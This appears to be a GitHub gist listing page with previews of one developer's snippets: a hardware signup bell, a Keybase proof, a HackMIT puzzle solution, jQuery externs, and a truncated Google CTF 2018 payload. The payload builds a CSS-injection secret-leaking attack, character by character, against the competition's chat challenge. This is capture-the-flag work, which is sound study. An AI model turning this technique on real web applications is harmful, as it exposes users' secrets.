Skip to content

Instantly share code, notes, and snippets.

View oleg-codaio's full-sized avatar

Oleg Vaskevich oleg-codaio

View GitHub Profile
/*
* Copyright (C) 2011 The Android Open Source Project
* Copyright (C) 2011 Jake Wharton
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
@oleg-codaio
oleg-codaio / google_ctf_2018_cat_chat_payload.js
Created June 25, 2018 06:03
Google CTF 2018 - Payload for Cat Chat challenge
function copyPayload(prefix) {
const HOST = "https://cat-chat.web.ctfcompetition.com";
const CHARSET = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}";
const ROOM = "85342369-4df7-4aa9-86ac-d1631e43546f";
let payload = "/name _]{} "; // Close the first rule.
CHARSET.split("").forEach(letter => {
const secret = `${prefix}${letter}`;
// Escape special characters within the CSS predicate and URL.
@oleg-codaio
oleg-codaio / coda-bell.c
Created November 8, 2017 20:50
Coda Bell - Particle Photon code
/**
* Coda Bell code. By no means production quality, this program is meant to be
* run on a Particle Photon, in tandem with IFTTT. Each time an event comes in
* (in our case, a user signing up), the MCU blinks an LED and rings a call
* bell.
*
* License: <https://legal.osv.im/mit-license>
*/
SerialLogHandler logHandler;

Keybase proof

I hereby claim:

  • I am vaskevich on github.
  • I am oleg (https://keybase.io/oleg) on keybase.
  • I have a public key ASDKqDNAOmq8EsA5WdUaJj3XlBYafVbwtqmvXZEdgacQKwo

To claim this, I am signing this object:

@oleg-codaio
oleg-codaio / hackmit15p6.c
Last active August 29, 2015 14:24
HackMIT 2015 Puzzle #6 solution
/**
* Created by Oleg Vaskevich for HackMIT 2015, Puzzle #6.
*
* This was arguably the toughest puzzle in terms of time spent. While there
* are lots of approaches, the following shows the steps I took to get the
* solution:
*
* 1. We find that the source code for the app is available here:
* https://github.com/dogeunderground/stronghold
*
jQuery.prototype.transition = function(properties, arg2, easing, complete) {};
jQuery.transit;
$.transit;
jQuery.transition;
$.transition;
jQuery.fx;
$.fx;
jQuery.fx.speeds;